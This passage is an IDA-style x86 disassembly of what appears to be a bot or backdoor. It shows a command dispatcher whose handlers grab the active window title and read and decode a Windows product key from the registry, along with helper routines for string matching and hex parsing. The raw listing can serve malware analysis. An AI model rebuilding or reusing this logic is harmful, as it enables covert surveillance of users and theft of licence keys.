locret_40A86B ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_40A6EB+64j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 41h jl short loc_40A77D mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 5Ah jle short loc_40A793 loc_40A77D: ; CODE XREF: sub_40A6EB+85j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 61h jl short loc_40A7BC mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 7Ah jg short loc_40A7BC loc_40A793: ; CODE XREF: sub_40A6EB+90j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] xor eax, 20h mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A7BC mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7BC: ; CODE XREF: sub_40A6EB+9Bj ; sub_40A6EB+A6j ... mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A7DD mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7DD: ; CODE XREF: sub_40A6EB+DAj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A820 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A7FE mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A809 loc_40A7FE: ; CODE XREF: sub_40A6EB+106j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A81C loc_40A809: ; CODE XREF: sub_40A6EB+111j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A81C: ; CODE XREF: sub_40A6EB+11Cj xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A820: ; CODE XREF: sub_40A6EB+FBj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A869 and [ebp+var_4], 0 jmp short loc_40A838 ; --------------------------------------------------------------------------- loc_40A831: ; CODE XREF: sub_40A6EB:loc_40A867j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A838: ; CODE XREF: sub_40A6EB+144j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A856 mov al, 1 jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A856: ; CODE XREF: sub_40A6EB+165j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A867 xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A867: ; CODE XREF: sub_40A6EB+176j jmp short loc_40A831 ; --------------------------------------------------------------------------- loc_40A869: ; CODE XREF: sub_40A6EB+13Ej xor al, al locret_40A86B: ; CODE XREF: sub_40A6EB+1Aj ; sub_40A6EB+39j ... leave retn sub_40A6EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A86D proc near ; CODE XREF: sub_40A8AD+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], 1 cmp [ebp+arg_4], 0 jnz short loc_40A884 push 1 pop eax jmp short locret_40A8AB ; --------------------------------------------------------------------------- loc_40A884: ; CODE XREF: sub_40A86D+10j mov [ebp+var_8], 1 jmp short loc_40A894 ; --------------------------------------------------------------------------- loc_40A88D: ; CODE XREF: sub_40A86D+39j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40A894: ; CODE XREF: sub_40A86D+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] loc_40A89A: ; DATA XREF: .data:0041AE78o ; .data:0041AEBCo ... jg short loc_40A8A8 mov eax, [ebp+var_4] imul eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_40A88D ; --------------------------------------------------------------------------- loc_40A8A8: ; CODE XREF: sub_40A86D:loc_40A89Aj mov eax, [ebp+var_4] locret_40A8AB: ; CODE XREF: sub_40A86D+15j leave retn sub_40A86D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8AD proc near ; CODE XREF: sub_406509+26p ; sub_40A9CF+193Fp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push esi push edi mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_20], 0 mov esi, offset aAbcdef ; "abcdef" lea edi, [ebp+var_1C] movsd movsw movsb mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 30h jnz short loc_40A90C mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 78h jz short loc_40A905 mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 58h jnz short loc_40A90C loc_40A905: ; CODE XREF: sub_40A8AD+48j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_40A90C: ; CODE XREF: sub_40A8AD+33j ; sub_40A8AD+56j push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_20] mov [ebp+var_14], eax jmp short loc_40A927 ; --------------------------------------------------------------------------- loc_40A920: ; CODE XREF: sub_40A8AD+116j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_40A927: ; CODE XREF: sub_40A8AD+71j mov eax, [ebp+var_14] cmp eax, [ebp+var_28] jge loc_40A9C8 mov eax, [ebp+arg_0] add eax, [ebp+var_14] movsx eax, byte ptr [eax] push eax call sub_416DE4 ; tolower pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 30h jl short loc_40A95D cmp [ebp+var_8], 39h jg short loc_40A95D mov eax, [ebp+var_8] sub eax, 30h mov [ebp+var_10], eax jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A95D: ; CODE XREF: sub_40A8AD+9Dj ; sub_40A8AD+A3j cmp [ebp+var_8], 61h jl short loc_40A99C cmp [ebp+var_8], 66h jg short loc_40A99C and [ebp+var_24], 0 jmp short loc_40A976 ; --------------------------------------------------------------------------- loc_40A96F: ; CODE XREF: sub_40A8AD:loc_40A998j mov eax, [ebp+var_24] inc eax mov [ebp+var_24], eax loc_40A976: ; CODE XREF: sub_40A8AD+C0j mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] test eax, eax jz short loc_40A99A mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] cmp [ebp+var_8], eax jnz short loc_40A998 mov eax, [ebp+var_24] add eax, 0Ah mov [ebp+var_10], eax loc_40A998: ; CODE XREF: sub_40A8AD+E0j jmp short loc_40A96F ; --------------------------------------------------------------------------- loc_40A99A: ; CODE XREF: sub_40A8AD+D3j jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A99C: ; CODE XREF: sub_40A8AD+B4j ; sub_40A8AD+BAj xor eax, eax jmp short loc_40A9CB ; --------------------------------------------------------------------------- loc_40A9A0: ; CODE XREF: sub_40A8AD+AEj ; sub_40A8AD:loc_40A99Aj mov eax, [ebp+var_28] sub eax, [ebp+var_14] dec eax push eax push 10h call sub_40A86D pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] imul eax, [ebp+var_10] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx jmp loc_40A920 ; --------------------------------------------------------------------------- loc_40A9C8: ; CODE XREF: sub_40A8AD+80j mov eax, [ebp+var_C] loc_40A9CB: ; CODE XREF: sub_40A8AD+F1j pop edi pop esi leave retn sub_40A8AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9CF proc near ; CODE XREF: sub_40D871+C95p ; sub_40D871+D9Cp var_6424 = dword ptr -6424h var_6420 = dword ptr -6420h var_641C = dword ptr -641Ch var_6418 = dword ptr -6418h var_6414 = dword ptr -6414h var_6410 = dword ptr -6410h var_640C = dword ptr -640Ch var_6408 = dword ptr -6408h var_6404 = dword ptr -6404h var_6400 = dword ptr -6400h var_63FC = dword ptr -63FCh var_63F8 = dword ptr -63F8h var_63F4 = dword ptr -63F4h var_63F0 = dword ptr -63F0h var_63EC = dword ptr -63ECh var_63E8 = dword ptr -63E8h var_63E4 = dword ptr -63E4h var_63E0 = dword ptr -63E0h var_63DC = dword ptr -63DCh var_63D8 = dword ptr -63D8h var_63D4 = dword ptr -63D4h var_63D0 = dword ptr -63D0h var_63CC = dword ptr -63CCh var_63C8 = dword ptr -63C8h var_63C4 = dword ptr -63C4h var_63C0 = dword ptr -63C0h var_63BC = dword ptr -63BCh var_63B8 = dword ptr -63B8h var_63B4 = word ptr -63B4h var_63B2 = word ptr -63B2h var_63B0 = dword ptr -63B0h var_63A4 = dword ptr -63A4h var_63A0 = byte ptr -63A0h var_639C = dword ptr -639Ch var_6398 = byte ptr -6398h var_6397 = byte ptr -6397h var_6396 = byte ptr -6396h var_6395 = byte ptr -6395h var_6394 = byte ptr -6394h var_6393 = byte ptr -6393h var_6392 = byte ptr -6392h var_6391 = byte ptr -6391h var_6390 = byte ptr -6390h var_638F = byte ptr -638Fh var_638E = byte ptr -638Eh var_638D = byte ptr -638Dh var_638C = dword ptr -638Ch var_6388 = byte ptr -6388h var_5F84 = dword ptr -5F84h var_5F80 = byte ptr -5F80h var_5B7C = dword ptr -5B7Ch var_5B78 = dword ptr -5B78h var_5B74 = byte ptr -5B74h var_5A70 = dword ptr -5A70h var_5A6C = dword ptr -5A6Ch var_5A68 = dword ptr -5A68h var_5A64 = byte ptr -5A64h var_1A64 = dword ptr -1A64h var_1A60 = byte ptr -1A60h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_A38 = byte ptr -0A38h var_A30 = dword ptr -0A30h var_A2C = dword ptr -0A2Ch var_A28 = dword ptr -0A28h var_A24 = dword ptr -0A24h var_A20 = dword ptr -0A20h var_A1C = dword ptr -0A1Ch var_A18 = byte ptr -0A18h var_9F8 = dword ptr -9F8h var_9F4 = byte ptr -9F4h var_9EF = byte ptr -9EFh var_9EA = byte ptr -9EAh var_9E5 = byte ptr -9E5h var_9E0 = byte ptr -9E0h var_9DB = byte ptr -9DBh var_9D8 = byte ptr -9D8h var_9A4 = byte ptr -9A4h var_970 = byte ptr -970h var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_8D3 = byte ptr -8D3h var_8D2 = byte ptr -8D2h var_8CD = byte ptr -8CDh var_8CC = byte ptr -8CCh var_8C7 = byte ptr -8C7h var_8C6 = byte ptr -8C6h var_8C1 = byte ptr -8C1h var_8C0 = byte ptr -8C0h var_8BB = byte ptr -8BBh var_8B8 = byte ptr -8B8h var_8A0 = byte ptr -8A0h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_718 = byte ptr -718h var_59B = byte ptr -59Bh var_598 = byte ptr -598h var_418 = dword ptr -418h var_414 = byte ptr -414h var_214 = byte ptr -214h var_1F0 = byte ptr -1F0h var_1CC = byte ptr -1CCh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h var_183 = byte ptr -183h var_83 = dword ptr -83h var_7F = byte ptr -7Fh var_19 = byte ptr -19h var_B = byte ptr -0Bh var_8 = byte ptr -8 var_5 = dword ptr -5 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 6424h call sub_416BC0 push esi push edi mov eax, [ebp+arg_14] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_1A8], eax push [ebp+arg_0] lea eax, [ebp+var_1A4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_183] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_C] mov [ebp+var_83], eax push 7Ah push [ebp+arg_10] lea eax, [ebp+var_7F] push eax call sub_416B52 ; memcpy add esp, 0Ch mov [ebp+var_5], 1 mov eax, [ebp+var_1A8] sub eax, dword_419F18 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AA59 lea eax, [ebp+var_1A4] push eax call sub_415AF0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AA59: ; CODE XREF: sub_40A9CF+76j mov eax, [ebp+var_1A8] sub eax, dword_419F0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AACF mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40AAAC lea eax, [ebp+var_214] push eax lea eax, [ebp+var_1F0] push eax lea eax, [ebp+var_1CC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1CC] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AAAC: ; CODE XREF: sub_40A9CF+A6j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D7E5 pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AACF: ; CODE XREF: sub_40A9CF+9Dj mov eax, [ebp+var_1A8] sub eax, dword_419EF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB21 push 200h lea eax, [ebp+var_414] push eax call dword_4171D8 ; GetForegroundWindow push eax call dword_4171E4 ; GetWindowTextA test eax, eax jle short loc_40AB1C lea eax, [ebp+var_414] push eax push offset dword_419EDC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AB1C: ; CODE XREF: sub_40A9CF+130j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB21: ; CODE XREF: sub_40A9CF+113j mov eax, [ebp+var_1A8] sub eax, dword_419ED0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB56 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4077DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB56: ; CODE XREF: sub_40A9CF+165j mov eax, [ebp+var_1A8] sub eax, dword_419EC4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AC89 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AC84 push 180h mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_598] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 3 jle short loc_40ABFE push offset dword_419EC0 mov eax, [ebp+var_418] lea eax, [ebp+eax+var_59B] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40ABFE mov eax, [ebp+var_418] and [ebp+eax+var_59B], 0 lea eax, [ebp+var_598] push eax call sub_4078A0 pop ecx lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax loc_40ABFE: ; CODE XREF: sub_40A9CF+1E1j ; sub_40A9CF+1FFj mov eax, [ebp+var_418] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_418] sub ecx, eax cmp ecx, 180h jbe short loc_40AC1F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC1F: ; CODE XREF: sub_40A9CF+249j push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF29 pop ecx pop ecx push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF59 pop ecx pop ecx mov [ebp+var_418], eax push [ebp+var_418] lea eax, [ebp+var_718] push eax lea eax, [ebp+var_598] push eax call sub_40EB4E add esp, 0Ch lea eax, [ebp+var_718] push eax push offset dword_419E9C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AC84: ; CODE XREF: sub_40A9CF+1A7j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC89: ; CODE XREF: sub_40A9CF+19Aj mov eax, [ebp+var_1A8] sub eax, dword_419E90 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AD84 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] movsx eax, byte ptr [eax] cmp eax, 3Dh jnz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_71C], eax mov eax, [ebp+var_71C] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_71C] sub ecx, eax cmp ecx, 180h jbe short loc_40AD0C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD0C: ; CODE XREF: sub_40A9CF+336j lea eax, [ebp+var_8A0] push eax mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_720] and [ebp+eax+var_8A0], 0 lea eax, [ebp+var_8A0] push eax push offset dword_419E70 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AD7F: ; CODE XREF: sub_40A9CF+2DAj ; sub_40A9CF+2ECj ... jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: sub_40A9CF+2CDj mov eax, [ebp+var_1A8] sub eax, dword_419E60 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADB2 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406643 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADB2: ; CODE XREF: sub_40A9CF+3C8j mov eax, [ebp+var_1A8] sub eax, dword_419E50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADD9 lea eax, [ebp+var_1A4] push eax call sub_4064BF pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADD9: ; CODE XREF: sub_40A9CF+3F6j mov eax, [ebp+var_1A8] sub eax, dword_419E48 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B0B6 and [ebp+var_9F8], 0 mov [ebp+var_A1C], 0C8h push 0Ch pop ecx mov esi, offset dword_419E14 lea edi, [ebp+var_9D8] rep movsd movsb push 5 pop ecx mov esi, offset dword_419DFC lea edi, [ebp+var_8B8] rep movsd movsb lea eax, [ebp+var_9D8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_9F8] push eax push 20019h push 0 lea eax, [ebp+var_9D8] push eax push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_40AE7D lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AE78 push [ebp+var_9F8] call dword_417028 ; RegCloseKey loc_40AE78: ; CODE XREF: sub_40A9CF+49Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AE7D: ; CODE XREF: sub_40A9CF+485j lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx lea eax, [ebp+var_8B8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_A1C] push eax lea eax, [ebp+var_9A4] push eax push 0 push 0 lea eax, [ebp+var_8B8] push eax push [ebp+var_9F8] call dword_41700C ; RegQueryValueExA test eax, eax jz short loc_40AEE7 lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AEE2 push [ebp+var_9F8] call dword_417028 ; RegCloseKey loc_40AEE2: ; CODE XREF: sub_40A9CF+505j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AEE7: ; CODE XREF: sub_40A9CF+4EFj lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx push [ebp+var_9F8] call dword_417028 ; RegCloseKey push 7 pop ecx mov esi, offset dword_419DDC lea edi, [ebp+var_A18] rep movsd movsb lea eax, [ebp+var_A18] push eax call sub_4105FB pop ecx and [ebp+var_9DB], 0 mov [ebp+var_8DC], 18h jmp short loc_40AF3E ; --------------------------------------------------------------------------- loc_40AF31: ; CODE XREF: sub_40A9CF+60Bj mov eax, [ebp+var_8DC] dec eax mov [ebp+var_8DC], eax loc_40AF3E: ; CODE XREF: sub_40A9CF+560j cmp [ebp+var_8DC], 0 jl loc_40AFDF and [ebp+var_A20], 0 mov [ebp+var_A24], 0Eh jmp short loc_40AF6B ; --------------------------------------------------------------------------- loc_40AF5E: ; CODE XREF: sub_40A9CF+5EFj mov eax, [ebp+var_A24] dec eax mov [ebp+var_A24], eax loc_40AF6B: ; CODE XREF: sub_40A9CF+58Dj cmp [ebp+var_A24], 0 jl short loc_40AFC0 mov eax, [ebp+var_A20] shl eax, 8 mov ecx, [ebp+var_A24] movzx ecx, [ebp+ecx+var_970] add eax, ecx mov [ebp+var_A20], eax mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov ecx, [ebp+var_A24] mov [ebp+ecx+var_970], al mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov [ebp+var_A20], edx jmp short loc_40AF5E ; --------------------------------------------------------------------------- loc_40AFC0: ; CODE XREF: sub_40A9CF+5A3j mov eax, [ebp+var_8DC] mov ecx, [ebp+var_A20] mov cl, [ebp+ecx+var_A18] mov [ebp+eax+var_9F4], cl jmp loc_40AF31 ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: sub_40A9CF+576j lea eax, [ebp+var_A18] push eax call sub_4105AD pop ecx and [ebp+var_8BB], 0 mov [ebp+var_8C1], 2Dh mov al, [ebp+var_8C1] mov [ebp+var_8C7], al mov al, [ebp+var_8C7] mov [ebp+var_8CD], al mov al, [ebp+var_8CD] mov [ebp+var_8D3], al push 5 lea eax, [ebp+var_9F4] push eax lea eax, [ebp+var_8D8] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EF] push eax lea eax, [ebp+var_8D2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EA] push eax lea eax, [ebp+var_8CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E5] push eax lea eax, [ebp+var_8C6] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E0] push eax lea eax, [ebp+var_8C0] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_8D8] push eax push offset dword_418B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B0B6: ; CODE XREF: sub_40A9CF+41Dj mov eax, [ebp+var_1A8] sub eax, dword_419DCC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B11C mov [ebp+var_8], 1 movsx eax, [ebp+var_19] test eax, eax jz short loc_40B0E6 lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0E6: ; CODE XREF: sub_40A9CF+706j movsx eax, [ebp+var_B] test eax, eax jz short loc_40B0FD lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0FD: ; CODE XREF: sub_40A9CF+71Dj lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx loc_40B117: ; CODE XREF: sub_40A9CF+715j ; sub_40A9CF+72Cj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B11C: ; CODE XREF: sub_40A9CF+6FAj mov eax, [ebp+var_1A8] sub eax, dword_419DBC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B143 lea eax, [ebp+var_1A4] push eax call sub_414EB0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B143: ; CODE XREF: sub_40A9CF+760j mov eax, [ebp+var_1A8] sub eax, dword_419DB0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B247 push 8 pop ecx mov esi, offset dword_419D8C lea edi, [ebp+var_A5C] rep movsd movsb mov esi, offset dword_419D84 lea edi, [ebp+var_A38] movsd movsw movsx eax, [ebp+var_A38] mov ecx, off_41DA68 movsx ecx, byte ptr [ecx] sub eax, ecx neg eax sbb eax, eax inc eax mov [ebp+var_A30], eax cmp [ebp+var_A30], 0 jz short loc_40B1AD mov [ebp+var_63E4], offset dword_419D78 jmp short loc_40B1B7 ; --------------------------------------------------------------------------- loc_40B1AD: ; CODE XREF: sub_40A9CF+7D0j mov [ebp+var_63E4], offset dword_419D68 loc_40B1B7: ; CODE XREF: sub_40A9CF+7DCj mov eax, [ebp+var_63E4] mov [ebp+var_A28], eax cmp [ebp+var_A30], 0 jz short loc_40B1D8 mov [ebp+var_63E8], offset aThisBuildIsFul ; "This build is fully functional" jmp short loc_40B1E2 ; --------------------------------------------------------------------------- loc_40B1D8: ; CODE XREF: sub_40A9CF+7FBj mov [ebp+var_63E8], offset aThisBuildIsBro ; "This build is broken and will not funct"... loc_40B1E2: ; CODE XREF: sub_40A9CF+807j mov eax, [ebp+var_63E8] mov [ebp+var_A2C], eax lea eax, [ebp+var_A5C] push eax call sub_4105FB pop ecx push [ebp+var_A2C] push [ebp+var_A28] mov eax, dword_41EC30 and eax, 0FFFFh push eax movsx eax, byte ptr dword_41DA48 and eax, 0FFh push eax lea eax, [ebp+var_A5C] push eax lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h lea eax, [ebp+var_A5C] push eax call sub_4105AD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B247: ; CODE XREF: sub_40A9CF+787j mov eax, [ebp+var_1A8] sub eax, dword_419D08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B28E mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_405E45 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B28E: ; CODE XREF: sub_40A9CF+88Bj mov eax, [ebp+var_1A8] sub eax, dword_419CFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B2C5 mov eax, [ebp+arg_18] add eax, 4 push eax mov eax, [ebp+arg_14] add eax, 4 push eax lea eax, [ebp+var_1A4] push eax call sub_4167DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B2C5: ; CODE XREF: sub_40A9CF+8D2j mov eax, [ebp+var_1A8] sub eax, dword_419CF0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B2EF mov eax, [ebp+var_1A8] sub eax, dword_419CE4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B300 loc_40B2EF: ; CODE XREF: sub_40A9CF+909j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D74D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B300: ; CODE XREF: sub_40A9CF+91Ej mov eax, [ebp+var_1A8] sub eax, dword_419CD4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B335 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403260 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B335: ; CODE XREF: sub_40A9CF+944j mov eax, [ebp+var_1A8] sub eax, dword_419CC8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B36A mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40260D add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B36A: ; CODE XREF: sub_40A9CF+979j mov eax, [ebp+var_1A8] sub eax, dword_419CB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3A5 mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406509 add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3A5: ; CODE XREF: sub_40A9CF+9AEj mov eax, [ebp+var_1A8] sub eax, dword_419CA8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3DA mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, 